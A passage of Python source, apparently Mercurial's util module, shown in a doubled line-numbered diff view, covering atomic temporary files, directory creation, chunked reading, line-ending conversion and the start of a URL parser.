2423 Otherwise, this returns True, as "ambiguity is avoided".
2424 Otherwise, this returns True, as "ambiguity is avoided".
2424 """
2425 """
2425 advanced = (old.stat[stat.ST_MTIME] + 1) & 0x7FFFFFFF
2426 advanced = (old.stat[stat.ST_MTIME] + 1) & 0x7FFFFFFF
2426 try:
2427 try:
2427 os.utime(path, (advanced, advanced))
2428 os.utime(path, (advanced, advanced))
2428 except OSError as inst:
2429 except OSError as inst:
2429 if inst.errno == errno.EPERM:
2430 if inst.errno == errno.EPERM:
2430 # utime() on the file created by another user causes EPERM,
2431 # utime() on the file created by another user causes EPERM,
2431 # if a process doesn't have appropriate privileges
2432 # if a process doesn't have appropriate privileges
2432 return False
2433 return False
2433 raise
2434 raise
2434 return True
2435 return True
2435
2436
2436 def __ne__(self, other):
2437 def __ne__(self, other):
2437 return not self == other
2438 return not self == other
2438
2439
2439
2440
2440 class atomictempfile(object):
2441 class atomictempfile(object):
2441 '''writable file object that atomically updates a file
2442 '''writable file object that atomically updates a file
2442
2443
2443 All writes will go to a temporary copy of the original file. Call
2444 All writes will go to a temporary copy of the original file. Call
2444 close() when you are done writing, and atomictempfile will rename
2445 close() when you are done writing, and atomictempfile will rename
2445 the temporary copy to the original name, making the changes
2446 the temporary copy to the original name, making the changes
2446 visible. If the object is destroyed without being closed, all your
2447 visible. If the object is destroyed without being closed, all your
2447 writes are discarded.
2448 writes are discarded.
2448
2449
2449 checkambig argument of constructor is used with filestat, and is
2450 checkambig argument of constructor is used with filestat, and is
2450 useful only if target file is guarded by any lock (e.g. repo.lock
2451 useful only if target file is guarded by any lock (e.g. repo.lock
2451 or repo.wlock).
2452 or repo.wlock).
2452 '''
2453 '''
2453
2454
2454 def __init__(self, name, mode=b'w+b', createmode=None, checkambig=False):
2455 def __init__(self, name, mode=b'w+b', createmode=None, checkambig=False):
2455 self.__name = name # permanent name
2456 self.__name = name # permanent name
2456 self._tempname = mktempcopy(
2457 self._tempname = mktempcopy(
2457 name,
2458 name,
2458 emptyok=(b'w' in mode),
2459 emptyok=(b'w' in mode),
2459 createmode=createmode,
2460 createmode=createmode,
2460 enforcewritable=(b'w' in mode),
2461 enforcewritable=(b'w' in mode),
2461 )
2462 )
2462
2463
2463 self._fp = posixfile(self._tempname, mode)
2464 self._fp = posixfile(self._tempname, mode)
2464 self._checkambig = checkambig
2465 self._checkambig = checkambig
2465
2466
2466 # delegated methods
2467 # delegated methods
2467 self.read = self._fp.read
2468 self.read = self._fp.read
2468 self.write = self._fp.write
2469 self.write = self._fp.write
2469 self.seek = self._fp.seek
2470 self.seek = self._fp.seek
2470 self.tell = self._fp.tell
2471 self.tell = self._fp.tell
2471 self.fileno = self._fp.fileno
2472 self.fileno = self._fp.fileno
2472
2473
2473 def close(self):
2474 def close(self):
2474 if not self._fp.closed:
2475 if not self._fp.closed:
2475 self._fp.close()
2476 self._fp.close()
2476 filename = localpath(self.__name)
2477 filename = localpath(self.__name)
2477 oldstat = self._checkambig and filestat.frompath(filename)
2478 oldstat = self._checkambig and filestat.frompath(filename)
2478 if oldstat and oldstat.stat:
2479 if oldstat and oldstat.stat:
2479 rename(self._tempname, filename)
2480 rename(self._tempname, filename)
2480 newstat = filestat.frompath(filename)
2481 newstat = filestat.frompath(filename)
2481 if newstat.isambig(oldstat):
2482 if newstat.isambig(oldstat):
2482 # stat of changed file is ambiguous to original one
2483 # stat of changed file is ambiguous to original one
2483 advanced = (oldstat.stat[stat.ST_MTIME] + 1) & 0x7FFFFFFF
2484 advanced = (oldstat.stat[stat.ST_MTIME] + 1) & 0x7FFFFFFF
2484 os.utime(filename, (advanced, advanced))
2485 os.utime(filename, (advanced, advanced))
2485 else:
2486 else:
2486 rename(self._tempname, filename)
2487 rename(self._tempname, filename)
2487
2488
2488 def discard(self):
2489 def discard(self):
2489 if not self._fp.closed:
2490 if not self._fp.closed:
2490 try:
2491 try:
2491 os.unlink(self._tempname)
2492 os.unlink(self._tempname)
2492 except OSError:
2493 except OSError:
2493 pass
2494 pass
2494 self._fp.close()
2495 self._fp.close()
2495
2496
2496 def __del__(self):
2497 def __del__(self):
2497 if safehasattr(self, '_fp'): # constructor actually did something
2498 if safehasattr(self, '_fp'): # constructor actually did something
2498 self.discard()
2499 self.discard()
2499
2500
2500 def __enter__(self):
2501 def __enter__(self):
2501 return self
2502 return self
2502
2503
2503 def __exit__(self, exctype, excvalue, traceback):
2504 def __exit__(self, exctype, excvalue, traceback):
2504 if exctype is not None:
2505 if exctype is not None:
2505 self.discard()
2506 self.discard()
2506 else:
2507 else:
2507 self.close()
2508 self.close()
2508
2509
2509
2510
2510 def unlinkpath(f, ignoremissing=False, rmdir=True):
2511 def unlinkpath(f, ignoremissing=False, rmdir=True):
2511 """unlink and remove the directory if it is empty"""
2512 """unlink and remove the directory if it is empty"""
2512 if ignoremissing:
2513 if ignoremissing:
2513 tryunlink(f)
2514 tryunlink(f)
2514 else:
2515 else:
2515 unlink(f)
2516 unlink(f)
2516 if rmdir:
2517 if rmdir:
2517 # try removing directories that might now be empty
2518 # try removing directories that might now be empty
2518 try:
2519 try:
2519 removedirs(os.path.dirname(f))
2520 removedirs(os.path.dirname(f))
2520 except OSError:
2521 except OSError:
2521 pass
2522 pass
2522
2523
2523
2524
2524 def tryunlink(f):
2525 def tryunlink(f):
2525 """Attempt to remove a file, ignoring ENOENT errors."""
2526 """Attempt to remove a file, ignoring ENOENT errors."""
2526 try:
2527 try:
2527 unlink(f)
2528 unlink(f)
2528 except OSError as e:
2529 except OSError as e:
2529 if e.errno != errno.ENOENT:
2530 if e.errno != errno.ENOENT:
2530 raise
2531 raise
2531
2532
2532
2533
2533 def makedirs(name, mode=None, notindexed=False):
2534 def makedirs(name, mode=None, notindexed=False):
2534 """recursive directory creation with parent mode inheritance
2535 """recursive directory creation with parent mode inheritance
2535
2536
2536 Newly created directories are marked as "not to be indexed by
2537 Newly created directories are marked as "not to be indexed by
2537 the content indexing service", if ``notindexed`` is specified
2538 the content indexing service", if ``notindexed`` is specified
2538 for "write" mode access.
2539 for "write" mode access.
2539 """
2540 """
2540 try:
2541 try:
2541 makedir(name, notindexed)
2542 makedir(name, notindexed)
2542 except OSError as err:
2543 except OSError as err:
2543 if err.errno == errno.EEXIST:
2544 if err.errno == errno.EEXIST:
2544 return
2545 return
2545 if err.errno != errno.ENOENT or not name:
2546 if err.errno != errno.ENOENT or not name:
2546 raise
2547 raise
2547 parent = os.path.dirname(os.path.abspath(name))
2548 parent = os.path.dirname(os.path.abspath(name))
2548 if parent == name:
2549 if parent == name:
2549 raise
2550 raise
2550 makedirs(parent, mode, notindexed)
2551 makedirs(parent, mode, notindexed)
2551 try:
2552 try:
2552 makedir(name, notindexed)
2553 makedir(name, notindexed)
2553 except OSError as err:
2554 except OSError as err:
2554 # Catch EEXIST to handle races
2555 # Catch EEXIST to handle races
2555 if err.errno == errno.EEXIST:
2556 if err.errno == errno.EEXIST:
2556 return
2557 return
2557 raise
2558 raise
2558 if mode is not None:
2559 if mode is not None:
2559 os.chmod(name, mode)
2560 os.chmod(name, mode)
2560
2561
2561
2562
2562 def readfile(path):
2563 def readfile(path):
2563 with open(path, b'rb') as fp:
2564 with open(path, b'rb') as fp:
2564 return fp.read()
2565 return fp.read()
2565
2566
2566
2567
2567 def writefile(path, text):
2568 def writefile(path, text):
2568 with open(path, b'wb') as fp:
2569 with open(path, b'wb') as fp:
2569 fp.write(text)
2570 fp.write(text)
2570
2571
2571
2572
2572 def appendfile(path, text):
2573 def appendfile(path, text):
2573 with open(path, b'ab') as fp:
2574 with open(path, b'ab') as fp:
2574 fp.write(text)
2575 fp.write(text)
2575
2576
2576
2577
2577 class chunkbuffer(object):
2578 class chunkbuffer(object):
2578 """Allow arbitrary sized chunks of data to be efficiently read from an
2579 """Allow arbitrary sized chunks of data to be efficiently read from an
2579 iterator over chunks of arbitrary size."""
2580 iterator over chunks of arbitrary size."""
2580
2581
2581 def __init__(self, in_iter):
2582 def __init__(self, in_iter):
2582 """in_iter is the iterator that's iterating over the input chunks."""
2583 """in_iter is the iterator that's iterating over the input chunks."""
2583
2584
2584 def splitbig(chunks):
2585 def splitbig(chunks):
2585 for chunk in chunks:
2586 for chunk in chunks:
2586 if len(chunk) > 2 ** 20:
2587 if len(chunk) > 2 ** 20:
2587 pos = 0
2588 pos = 0
2588 while pos < len(chunk):
2589 while pos < len(chunk):
2589 end = pos + 2 ** 18
2590 end = pos + 2 ** 18
2590 yield chunk[pos:end]
2591 yield chunk[pos:end]
2591 pos = end
2592 pos = end
2592 else:
2593 else:
2593 yield chunk
2594 yield chunk
2594
2595
2595 self.iter = splitbig(in_iter)
2596 self.iter = splitbig(in_iter)
2596 self._queue = collections.deque()
2597 self._queue = collections.deque()
2597 self._chunkoffset = 0
2598 self._chunkoffset = 0
2598
2599
2599 def read(self, l=None):
2600 def read(self, l=None):
2600 """Read L bytes of data from the iterator of chunks of data.
2601 """Read L bytes of data from the iterator of chunks of data.
2601 Returns less than L bytes if the iterator runs dry.
2602 Returns less than L bytes if the iterator runs dry.
2602
2603
2603 If size parameter is omitted, read everything"""
2604 If size parameter is omitted, read everything"""
2604 if l is None:
2605 if l is None:
2605 return b''.join(self.iter)
2606 return b''.join(self.iter)
2606
2607
2607 left = l
2608 left = l
2608 buf = []
2609 buf = []
2609 queue = self._queue
2610 queue = self._queue
2610 while left > 0:
2611 while left > 0:
2611 # refill the queue
2612 # refill the queue
2612 if not queue:
2613 if not queue:
2613 target = 2 ** 18
2614 target = 2 ** 18
2614 for chunk in self.iter:
2615 for chunk in self.iter:
2615 queue.append(chunk)
2616 queue.append(chunk)
2616 target -= len(chunk)
2617 target -= len(chunk)
2617 if target <= 0:
2618 if target <= 0:
2618 break
2619 break
2619 if not queue:
2620 if not queue:
2620 break
2621 break
2621
2622
2622 # The easy way to do this would be to queue.popleft(), modify the
2623 # The easy way to do this would be to queue.popleft(), modify the
2623 # chunk (if necessary), then queue.appendleft(). However, for cases
2624 # chunk (if necessary), then queue.appendleft(). However, for cases
2624 # where we read partial chunk content, this incurs 2 dequeue
2625 # where we read partial chunk content, this incurs 2 dequeue
2625 # mutations and creates a new str for the remaining chunk in the
2626 # mutations and creates a new str for the remaining chunk in the
2626 # queue. Our code below avoids this overhead.
2627 # queue. Our code below avoids this overhead.
2627
2628
2628 chunk = queue[0]
2629 chunk = queue[0]
2629 chunkl = len(chunk)
2630 chunkl = len(chunk)
2630 offset = self._chunkoffset
2631 offset = self._chunkoffset
2631
2632
2632 # Use full chunk.
2633 # Use full chunk.
2633 if offset == 0 and left >= chunkl:
2634 if offset == 0 and left >= chunkl:
2634 left -= chunkl
2635 left -= chunkl
2635 queue.popleft()
2636 queue.popleft()
2636 buf.append(chunk)
2637 buf.append(chunk)
2637 # self._chunkoffset remains at 0.
2638 # self._chunkoffset remains at 0.
2638 continue
2639 continue
2639
2640
2640 chunkremaining = chunkl - offset
2641 chunkremaining = chunkl - offset
2641
2642
2642 # Use all of unconsumed part of chunk.
2643 # Use all of unconsumed part of chunk.
2643 if left >= chunkremaining:
2644 if left >= chunkremaining:
2644 left -= chunkremaining
2645 left -= chunkremaining
2645 queue.popleft()
2646 queue.popleft()
2646 # offset == 0 is enabled by block above, so this won't merely
2647 # offset == 0 is enabled by block above, so this won't merely
2647 # copy via ``chunk[0:]``.
2648 # copy via ``chunk[0:]``.
2648 buf.append(chunk[offset:])
2649 buf.append(chunk[offset:])
2649 self._chunkoffset = 0
2650 self._chunkoffset = 0
2650
2651
2651 # Partial chunk needed.
2652 # Partial chunk needed.
2652 else:
2653 else:
2653 buf.append(chunk[offset : offset + left])
2654 buf.append(chunk[offset : offset + left])
2654 self._chunkoffset += left
2655 self._chunkoffset += left
2655 left -= chunkremaining
2656 left -= chunkremaining
2656
2657
2657 return b''.join(buf)
2658 return b''.join(buf)
2658
2659
2659
2660
2660 def filechunkiter(f, size=131072, limit=None):
2661 def filechunkiter(f, size=131072, limit=None):
2661 """Create a generator that produces the data in the file size
2662 """Create a generator that produces the data in the file size
2662 (default 131072) bytes at a time, up to optional limit (default is
2663 (default 131072) bytes at a time, up to optional limit (default is
2663 to read all data). Chunks may be less than size bytes if the
2664 to read all data). Chunks may be less than size bytes if the
2664 chunk is the last chunk in the file, or the file is a socket or
2665 chunk is the last chunk in the file, or the file is a socket or
2665 some other type of file that sometimes reads less data than is
2666 some other type of file that sometimes reads less data than is
2666 requested."""
2667 requested."""
2667 assert size >= 0
2668 assert size >= 0
2668 assert limit is None or limit >= 0
2669 assert limit is None or limit >= 0
2669 while True:
2670 while True:
2670 if limit is None:
2671 if limit is None:
2671 nbytes = size
2672 nbytes = size
2672 else:
2673 else:
2673 nbytes = min(limit, size)
2674 nbytes = min(limit, size)
2674 s = nbytes and f.read(nbytes)
2675 s = nbytes and f.read(nbytes)
2675 if not s:
2676 if not s:
2676 break
2677 break
2677 if limit:
2678 if limit:
2678 limit -= len(s)
2679 limit -= len(s)
2679 yield s
2680 yield s
2680
2681
2681
2682
2682 class cappedreader(object):
2683 class cappedreader(object):
2683 """A file object proxy that allows reading up to N bytes.
2684 """A file object proxy that allows reading up to N bytes.
2684
2685
2685 Given a source file object, instances of this type allow reading up to
2686 Given a source file object, instances of this type allow reading up to
2686 N bytes from that source file object. Attempts to read past the allowed
2687 N bytes from that source file object. Attempts to read past the allowed
2687 limit are treated as EOF.
2688 limit are treated as EOF.
2688
2689
2689 It is assumed that I/O is not performed on the original file object
2690 It is assumed that I/O is not performed on the original file object
2690 in addition to I/O that is performed by this instance. If there is,
2691 in addition to I/O that is performed by this instance. If there is,
2691 state tracking will get out of sync and unexpected results will ensue.
2692 state tracking will get out of sync and unexpected results will ensue.
2692 """
2693 """
2693
2694
2694 def __init__(self, fh, limit):
2695 def __init__(self, fh, limit):
2695 """Allow reading up to <limit> bytes from <fh>."""
2696 """Allow reading up to <limit> bytes from <fh>."""
2696 self._fh = fh
2697 self._fh = fh
2697 self._left = limit
2698 self._left = limit
2698
2699
2699 def read(self, n=-1):
2700 def read(self, n=-1):
2700 if not self._left:
2701 if not self._left:
2701 return b''
2702 return b''
2702
2703
2703 if n < 0:
2704 if n < 0:
2704 n = self._left
2705 n = self._left
2705
2706
2706 data = self._fh.read(min(n, self._left))
2707 data = self._fh.read(min(n, self._left))
2707 self._left -= len(data)
2708 self._left -= len(data)
2708 assert self._left >= 0
2709 assert self._left >= 0
2709
2710
2710 return data
2711 return data
2711
2712
2712 def readinto(self, b):
2713 def readinto(self, b):
2713 res = self.read(len(b))
2714 res = self.read(len(b))
2714 if res is None:
2715 if res is None:
2715 return None
2716 return None
2716
2717
2717 b[0 : len(res)] = res
2718 b[0 : len(res)] = res
2718 return len(res)
2719 return len(res)
2719
2720
2720
2721
2721 def unitcountfn(*unittable):
2722 def unitcountfn(*unittable):
2722 '''return a function that renders a readable count of some quantity'''
2723 '''return a function that renders a readable count of some quantity'''
2723
2724
2724 def go(count):
2725 def go(count):
2725 for multiplier, divisor, format in unittable:
2726 for multiplier, divisor, format in unittable:
2726 if abs(count) >= divisor * multiplier:
2727 if abs(count) >= divisor * multiplier:
2727 return format % (count / float(divisor))
2728 return format % (count / float(divisor))
2728 return unittable[-1][2] % count
2729 return unittable[-1][2] % count
2729
2730
2730 return go
2731 return go
2731
2732
2732
2733
2733 def processlinerange(fromline, toline):
2734 def processlinerange(fromline, toline):
2734 """Check that linerange <fromline>:<toline> makes sense and return a
2735 """Check that linerange <fromline>:<toline> makes sense and return a
2735 0-based range.
2736 0-based range.
2736
2737
2737 >>> processlinerange(10, 20)
2738 >>> processlinerange(10, 20)
2738 (9, 20)
2739 (9, 20)
2739 >>> processlinerange(2, 1)
2740 >>> processlinerange(2, 1)
2740 Traceback (most recent call last):
2741 Traceback (most recent call last):
2741 ...
2742 ...
2742 ParseError: line range must be positive
2743 ParseError: line range must be positive
2743 >>> processlinerange(0, 5)
2744 >>> processlinerange(0, 5)
2744 Traceback (most recent call last):
2745 Traceback (most recent call last):
2745 ...
2746 ...
2746 ParseError: fromline must be strictly positive
2747 ParseError: fromline must be strictly positive
2747 """
2748 """
2748 if toline - fromline < 0:
2749 if toline - fromline < 0:
2749 raise error.ParseError(_(b"line range must be positive"))
2750 raise error.ParseError(_(b"line range must be positive"))
2750 if fromline < 1:
2751 if fromline < 1:
2751 raise error.ParseError(_(b"fromline must be strictly positive"))
2752 raise error.ParseError(_(b"fromline must be strictly positive"))
2752 return fromline - 1, toline
2753 return fromline - 1, toline
2753
2754
2754
2755
2755 bytecount = unitcountfn(
2756 bytecount = unitcountfn(
2756 (100, 1 << 30, _(b'%.0f GB')),
2757 (100, 1 << 30, _(b'%.0f GB')),
2757 (10, 1 << 30, _(b'%.1f GB')),
2758 (10, 1 << 30, _(b'%.1f GB')),
2758 (1, 1 << 30, _(b'%.2f GB')),
2759 (1, 1 << 30, _(b'%.2f GB')),
2759 (100, 1 << 20, _(b'%.0f MB')),
2760 (100, 1 << 20, _(b'%.0f MB')),
2760 (10, 1 << 20, _(b'%.1f MB')),
2761 (10, 1 << 20, _(b'%.1f MB')),
2761 (1, 1 << 20, _(b'%.2f MB')),
2762 (1, 1 << 20, _(b'%.2f MB')),
2762 (100, 1 << 10, _(b'%.0f KB')),
2763 (100, 1 << 10, _(b'%.0f KB')),
2763 (10, 1 << 10, _(b'%.1f KB')),
2764 (10, 1 << 10, _(b'%.1f KB')),
2764 (1, 1 << 10, _(b'%.2f KB')),
2765 (1, 1 << 10, _(b'%.2f KB')),
2765 (1, 1, _(b'%.0f bytes')),
2766 (1, 1, _(b'%.0f bytes')),
2766 )
2767 )
2767
2768
2768
2769
2769 class transformingwriter(object):
2770 class transformingwriter(object):
2770 """Writable file wrapper to transform data by function"""
2771 """Writable file wrapper to transform data by function"""
2771
2772
2772 def __init__(self, fp, encode):
2773 def __init__(self, fp, encode):
2773 self._fp = fp
2774 self._fp = fp
2774 self._encode = encode
2775 self._encode = encode
2775
2776
2776 def close(self):
2777 def close(self):
2777 self._fp.close()
2778 self._fp.close()
2778
2779
2779 def flush(self):
2780 def flush(self):
2780 self._fp.flush()
2781 self._fp.flush()
2781
2782
2782 def write(self, data):
2783 def write(self, data):
2783 return self._fp.write(self._encode(data))
2784 return self._fp.write(self._encode(data))
2784
2785
2785
2786
2786 # Matches a single EOL which can either be a CRLF where repeated CR
2787 # Matches a single EOL which can either be a CRLF where repeated CR
2787 # are removed or a LF. We do not care about old Macintosh files, so a
2788 # are removed or a LF. We do not care about old Macintosh files, so a
2788 # stray CR is an error.
2789 # stray CR is an error.
2789 _eolre = remod.compile(br'\r*\n')
2790 _eolre = remod.compile(br'\r*\n')
2790
2791
2791
2792
2792 def tolf(s):
2793 def tolf(s):
2793 return _eolre.sub(b'\n', s)
2794 return _eolre.sub(b'\n', s)
2794
2795
2795
2796
2796 def tocrlf(s):
2797 def tocrlf(s):
2797 return _eolre.sub(b'\r\n', s)
2798 return _eolre.sub(b'\r\n', s)
2798
2799
2799
2800
2800 def _crlfwriter(fp):
2801 def _crlfwriter(fp):
2801 return transformingwriter(fp, tocrlf)
2802 return transformingwriter(fp, tocrlf)
2802
2803
2803
2804
2804 if pycompat.oslinesep == b'\r\n':
2805 if pycompat.oslinesep == b'\r\n':
2805 tonativeeol = tocrlf
2806 tonativeeol = tocrlf
2806 fromnativeeol = tolf
2807 fromnativeeol = tolf
2807 nativeeolwriter = _crlfwriter
2808 nativeeolwriter = _crlfwriter
2808 else:
2809 else:
2809 tonativeeol = pycompat.identity
2810 tonativeeol = pycompat.identity
2810 fromnativeeol = pycompat.identity
2811 fromnativeeol = pycompat.identity
2811 nativeeolwriter = pycompat.identity
2812 nativeeolwriter = pycompat.identity
2812
2813
2813 if pyplatform.python_implementation() == b'CPython' and sys.version_info < (
2814 if pyplatform.python_implementation() == b'CPython' and sys.version_info < (
2814 3,
2815 3,
2815 0,
2816 0,
2816 ):
2817 ):
2817 # There is an issue in CPython that some IO methods do not handle EINTR
2818 # There is an issue in CPython that some IO methods do not handle EINTR
2818 # correctly. The following table shows what CPython version (and functions)
2819 # correctly. The following table shows what CPython version (and functions)
2819 # are affected (buggy: has the EINTR bug, okay: otherwise):
2820 # are affected (buggy: has the EINTR bug, okay: otherwise):
2820 #
2821 #
2821 # | < 2.7.4 | 2.7.4 to 2.7.12 | >= 3.0
2822 # | < 2.7.4 | 2.7.4 to 2.7.12 | >= 3.0
2822 # --------------------------------------------------
2823 # --------------------------------------------------
2823 # fp.__iter__ | buggy | buggy | okay
2824 # fp.__iter__ | buggy | buggy | okay
2824 # fp.read* | buggy | okay [1] | okay
2825 # fp.read* | buggy | okay [1] | okay
2825 #
2826 #
2826 # [1]: fixed by changeset 67dc99a989cd in the cpython hg repo.
2827 # [1]: fixed by changeset 67dc99a989cd in the cpython hg repo.
2827 #
2828 #
2828 # Here we workaround the EINTR issue for fileobj.__iter__. Other methods
2829 # Here we workaround the EINTR issue for fileobj.__iter__. Other methods
2829 # like "read*" are ignored for now, as Python < 2.7.4 is a minority.
2830 # like "read*" are ignored for now, as Python < 2.7.4 is a minority.
2830 #
2831 #
2831 # Although we can workaround the EINTR issue for fp.__iter__, it is slower:
2832 # Although we can workaround the EINTR issue for fp.__iter__, it is slower:
2832 # "for x in fp" is 4x faster than "for x in iter(fp.readline, '')" in
2833 # "for x in fp" is 4x faster than "for x in iter(fp.readline, '')" in
2833 # CPython 2, because CPython 2 maintains an internal readahead buffer for
2834 # CPython 2, because CPython 2 maintains an internal readahead buffer for
2834 # fp.__iter__ but not other fp.read* methods.
2835 # fp.__iter__ but not other fp.read* methods.
2835 #
2836 #
2836 # On modern systems like Linux, the "read" syscall cannot be interrupted
2837 # On modern systems like Linux, the "read" syscall cannot be interrupted
2837 # when reading "fast" files like on-disk files. So the EINTR issue only
2838 # when reading "fast" files like on-disk files. So the EINTR issue only
2838 # affects things like pipes, sockets, ttys etc. We treat "normal" (S_ISREG)
2839 # affects things like pipes, sockets, ttys etc. We treat "normal" (S_ISREG)
2839 # files approximately as "fast" files and use the fast (unsafe) code path,
2840 # files approximately as "fast" files and use the fast (unsafe) code path,
2840 # to minimize the performance impact.
2841 # to minimize the performance impact.
2841 if sys.version_info >= (2, 7, 4):
2842 if sys.version_info >= (2, 7, 4):
2842 # fp.readline deals with EINTR correctly, use it as a workaround.
2843 # fp.readline deals with EINTR correctly, use it as a workaround.
2843 def _safeiterfile(fp):
2844 def _safeiterfile(fp):
2844 return iter(fp.readline, b'')
2845 return iter(fp.readline, b'')
2845
2846
2846 else:
2847 else:
2847 # fp.read* are broken too, manually deal with EINTR in a stupid way.
2848 # fp.read* are broken too, manually deal with EINTR in a stupid way.
2848 # note: this may block longer than necessary because of bufsize.
2849 # note: this may block longer than necessary because of bufsize.
2849 def _safeiterfile(fp, bufsize=4096):
2850 def _safeiterfile(fp, bufsize=4096):
2850 fd = fp.fileno()
2851 fd = fp.fileno()
2851 line = b''
2852 line = b''
2852 while True:
2853 while True:
2853 try:
2854 try:
2854 buf = os.read(fd, bufsize)
2855 buf = os.read(fd, bufsize)
2855 except OSError as ex:
2856 except OSError as ex:
2856 # os.read only raises EINTR before any data is read
2857 # os.read only raises EINTR before any data is read
2857 if ex.errno == errno.EINTR:
2858 if ex.errno == errno.EINTR:
2858 continue
2859 continue
2859 else:
2860 else:
2860 raise
2861 raise
2861 line += buf
2862 line += buf
2862 if b'\n' in buf:
2863 if b'\n' in buf:
2863 splitted = line.splitlines(True)
2864 splitted = line.splitlines(True)
2864 line = b''
2865 line = b''
2865 for l in splitted:
2866 for l in splitted:
2866 if l[-1] == b'\n':
2867 if l[-1] == b'\n':
2867 yield l
2868 yield l
2868 else:
2869 else:
2869 line = l
2870 line = l
2870 if not buf:
2871 if not buf:
2871 break
2872 break
2872 if line:
2873 if line:
2873 yield line
2874 yield line
2874
2875
2875 def iterfile(fp):
2876 def iterfile(fp):
2876 fastpath = True
2877 fastpath = True
2877 if type(fp) is file:
2878 if type(fp) is file:
2878 fastpath = stat.S_ISREG(os.fstat(fp.fileno()).st_mode)
2879 fastpath = stat.S_ISREG(os.fstat(fp.fileno()).st_mode)
2879 if fastpath:
2880 if fastpath:
2880 return fp
2881 return fp
2881 else:
2882 else:
2882 return _safeiterfile(fp)
2883 return _safeiterfile(fp)
2883
2884
2884
2885
2885 else:
2886 else:
2886 # PyPy and CPython 3 do not have the EINTR issue thus no workaround needed.
2887 # PyPy and CPython 3 do not have the EINTR issue thus no workaround needed.
2887 def iterfile(fp):
2888 def iterfile(fp):
2888 return fp
2889 return fp
2889
2890
2890
2891
2891 def iterlines(iterator):
2892 def iterlines(iterator):
2892 for chunk in iterator:
2893 for chunk in iterator:
2893 for line in chunk.splitlines():
2894 for line in chunk.splitlines():
2894 yield line
2895 yield line
2895
2896
2896
2897
2897 def expandpath(path):
2898 def expandpath(path):
2898 return os.path.expanduser(os.path.expandvars(path))
2899 return os.path.expanduser(os.path.expandvars(path))
2899
2900
2900
2901
2901 def interpolate(prefix, mapping, s, fn=None, escape_prefix=False):
2902 def interpolate(prefix, mapping, s, fn=None, escape_prefix=False):
2902 """Return the result of interpolating items in the mapping into string s.
2903 """Return the result of interpolating items in the mapping into string s.
2903
2904
2904 prefix is a single character string, or a two character string with
2905 prefix is a single character string, or a two character string with
2905 a backslash as the first character if the prefix needs to be escaped in
2906 a backslash as the first character if the prefix needs to be escaped in
2906 a regular expression.
2907 a regular expression.
2907
2908
2908 fn is an optional function that will be applied to the replacement text
2909 fn is an optional function that will be applied to the replacement text
2909 just before replacement.
2910 just before replacement.
2910
2911
2911 escape_prefix is an optional flag that allows using doubled prefix for
2912 escape_prefix is an optional flag that allows using doubled prefix for
2912 its escaping.
2913 its escaping.
2913 """
2914 """
2914 fn = fn or (lambda s: s)
2915 fn = fn or (lambda s: s)
2915 patterns = b'|'.join(mapping.keys())
2916 patterns = b'|'.join(mapping.keys())
2916 if escape_prefix:
2917 if escape_prefix:
2917 patterns += b'|' + prefix
2918 patterns += b'|' + prefix
2918 if len(prefix) > 1:
2919 if len(prefix) > 1:
2919 prefix_char = prefix[1:]
2920 prefix_char = prefix[1:]
2920 else:
2921 else:
2921 prefix_char = prefix
2922 prefix_char = prefix
2922 mapping[prefix_char] = prefix_char
2923 mapping[prefix_char] = prefix_char
2923 r = remod.compile(br'%s(%s)' % (prefix, patterns))
2924 r = remod.compile(br'%s(%s)' % (prefix, patterns))
2924 return r.sub(lambda x: fn(mapping[x.group()[1:]]), s)
2925 return r.sub(lambda x: fn(mapping[x.group()[1:]]), s)
2925
2926
2926
2927
2927 def getport(port):
2928 def getport(port):
2928 """Return the port for a given network service.
2929 """Return the port for a given network service.
2929
2930
2930 If port is an integer, it's returned as is. If it's a string, it's
2931 If port is an integer, it's returned as is. If it's a string, it's
2931 looked up using socket.getservbyname(). If there's no matching
2932 looked up using socket.getservbyname(). If there's no matching
2932 service, error.Abort is raised.
2933 service, error.Abort is raised.
2933 """
2934 """
2934 try:
2935 try:
2935 return int(port)
2936 return int(port)
2936 except ValueError:
2937 except ValueError:
2937 pass
2938 pass
2938
2939
2939 try:
2940 try:
2940 return socket.getservbyname(pycompat.sysstr(port))
2941 return socket.getservbyname(pycompat.sysstr(port))
2941 except socket.error:
2942 except socket.error:
2942 raise error.Abort(
2943 raise error.Abort(
2943 _(b"no port number associated with service '%s'") % port
2944 _(b"no port number associated with service '%s'") % port
2944 )
2945 )
2945
2946
2946
2947
2947 class url(object):
2948 class url(object):
2948 r"""Reliable URL parser.
2949 r"""Reliable URL parser.
2949
2950
2950 This parses URLs and provides attributes for the following
2951 This parses URLs and provides attributes for the following
2951 components:
2952 components:
2952
2953
2953 <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
2954 <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
2954
2955
2955 Missing components are set to None. The only exception is
2956 Missing components are set to None. The only exception is
2956 fragment, which is set to '' if present but empty.
2957 fragment, which is set to '' if present but empty.
2957
2958
2958 If parsefragment is False, fragment is included in query. If
2959 If parsefragment is False, fragment is included in query. If
2959 parsequery is False, query is included in path. If both are
2960 parsequery is False, query is included in path. If both are
2960 False, both fragment and query are included in path.
2961 False, both fragment and query are included in path.
2961
2962
2962 See http://www.ietf.org/rfc/rfc2396.txt for more information.
2963 See http://www.ietf.org/rfc/rfc2396.txt for more information.
2963
2964
2964 Note that for backward compatibility reasons, bundle URLs do not
2965 Note that for backward compatibility reasons, bundle URLs do not
2965 take host names. That means 'bundle://../' has a path of '../'.
2966 take host names. That means 'bundle://../' has a path of '../'.
2966
2967
2967 Examples:
2968 Examples:
2968
2969
2969 >>> url(b'http://www.ietf.org/rfc/rfc2396.txt')
2970 >>> url(b'http://www.ietf.org/rfc/rfc2396.txt')
2970 <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
2971 <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
2971 >>> url(b'ssh://[::1]:2200//home/joe/repo')
2972 >>> url(b'ssh://[::1]:2200//home/joe/repo')
2972 <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
2973 <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
2973 >>> url(b'file:///home/joe/repo')
2974 >>> url(b'file:///home/joe/repo')
2974 <url scheme: 'file', path: '/home/joe/repo'>
2975 <url scheme: 'file', path: '/home/joe/repo'>
2975 >>> url(b'file:///c:/temp/foo/')
2976 >>> url(b'file:///c:/temp/foo/')
2976 <url scheme: 'file', path: 'c:/temp/foo/'>
2977 <url scheme: 'file', path: 'c:/temp/foo/'>
2977 >>> url(b'bundle:foo')
2978 >>> url(b'bundle:foo')
